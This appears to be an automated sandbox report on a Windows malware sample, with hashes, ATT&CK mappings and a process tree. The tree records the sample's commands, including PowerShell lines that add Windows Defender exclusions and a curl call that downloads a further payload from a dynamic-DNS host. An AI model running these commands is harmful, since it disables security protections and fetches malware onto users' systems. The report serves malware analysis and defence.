246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823

General

Target

246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe
Size

121KB
MD5

5dce69c450262d7a5d48cdc8fccad2d7
SHA1

11cd8fa07e2314287099aaf4fbedb5dcc1fcf62a
SHA256

246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823
SHA512

7f5c2f5e6a02990adf6d638a8368f07a2f949dfedd7197e342c7467cc0ff4af5480ba2585060986f65e3f62efcdb80c037b89815db095326890269ef31db836a
SSDEEP

3072:MV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPJR:ht5hBPi0BW69hd1MMdxPe9N9uA069TBb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1480	powershell.exe
400	powershell.exe
244	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1688	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1480	powershell.exe
1480	powershell.exe
400	powershell.exe
400	powershell.exe
244	powershell.exe
244	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeDebugPrivilege	244	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1756	cmd.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 1756	4932	246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe	83
PID 4932 wrote to memory of 1756	4932	246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe	83
PID 1756 wrote to memory of 3112	1756	cmd.exe	85
PID 1756 wrote to memory of 3112	1756	cmd.exe	85
PID 1756 wrote to memory of 1480	1756	cmd.exe	86
PID 1756 wrote to memory of 1480	1756	cmd.exe	86
PID 1756 wrote to memory of 400	1756	cmd.exe	87
PID 1756 wrote to memory of 400	1756	cmd.exe	87
PID 1756 wrote to memory of 244	1756	cmd.exe	88
PID 1756 wrote to memory of 244	1756	cmd.exe	88
PID 1756 wrote to memory of 1688	1756	cmd.exe	89
PID 1756 wrote to memory of 1688	1756	cmd.exe	89
PID 1756 wrote to memory of 3504	1756	cmd.exe	91
PID 1756 wrote to memory of 3504	1756	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe
"C:\Users\Admin\AppData\Local\Temp\246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B6CD.tmp\B6CE.tmp\B6CF.bat C:\Users\Admin\AppData\Local\Temp\246d03f418d4eb9a19ead89eb7816714b6a69f920cfeea3d3d17c971ba4c6823.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\system32\cacls.exe
    "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
    3⤵
    PID:3112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionExtension '.bat'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Victalis\Links'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:244
- - C:\Windows\system32\timeout.exe
    timeout /t 3
    3⤵
    - Delays execution with timeout.exe
    PID:1688
- - C:\Windows\system32\curl.exe
    curl http://voltazur.ddns.net/Quas_Brout_ncrypt.exe
    3⤵
    PID:3504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3072fa0040b347c3941144486bf30c6f

SHA1
e6dc84a5bd882198583653592f17af1bf8cbfc68

SHA256
da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e

SHA512
62df0eed621fe8ec340887a03d26b125429025c14ddcdfef82cb78ce1c9c6110c1d51ff0e423754d7966b6251363bf92833970eaf67707f8dd62e1549a79536c

Download Submit
C:\Users\Admin\AppData\Local\Temp\B6CD.tmp\B6CE.tmp\B6CF.bat

Filesize
1KB

MD5
793c56b68060857e19833f659215179a

SHA1
2daea30fdb072ed77572ef5255095f649441c467

SHA256
974c3b25c20b04c6c9c64e63c133b3263f275533bac599f56a4f60519f233716

SHA512
508c792fbbe2207d008cebd370c96d223e3cef3cbd5e7a89e4bcfaf94b3d94772b1f4729291a7ae99e473304e7bd175fc549eb4891f4eedd78740ab982b72aea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3arrxqun.n2s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1480-2-0x00007FFEEDD43000-0x00007FFEEDD45000-memory.dmp

Filesize
8KB

Download
memory/1480-3-0x000001AEFF470000-0x000001AEFF492000-memory.dmp

Filesize
136KB

Download
memory/1480-13-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

Filesize
10.8MB

Download
memory/1480-14-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

Filesize
10.8MB

Download
memory/1480-17-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing